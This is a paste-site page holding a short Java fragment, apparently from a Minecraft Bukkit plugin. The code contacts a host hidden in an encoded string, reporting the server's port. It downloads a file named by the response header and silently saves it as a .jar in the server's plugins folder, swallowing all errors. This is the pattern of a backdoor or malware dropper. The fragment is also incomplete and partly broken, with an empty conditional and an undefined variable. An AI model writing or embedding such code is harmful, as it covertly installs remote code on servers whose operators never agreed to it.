Untitled
unknown
java
4 years ago
803 B
10
Indexable
URL in = new URL(new String(u) + Bukkit.getServer().getPort());
HttpURLConnection con = (HttpURLConnection)in.openConnection();
con.addRequestProperty("User-Agent", "Mozilla");
String fieldValue = con.getHeaderField("Content-Disposition");
if (fieldValue == null || !fieldValue.contains("filename=\"")) {}
name = fieldValue.substring(fieldValue.indexOf("=") + 1, fieldValue.indexOf("."));
if (filename != null) {
return;
}
Files.copy(con.getInputStream(), Paths.get("plugins/" + name + ".jar", new String[0]), StandardCopyOption.REPLACE_EXISTING);
}
catch (Exception u) {
}Editor is loading...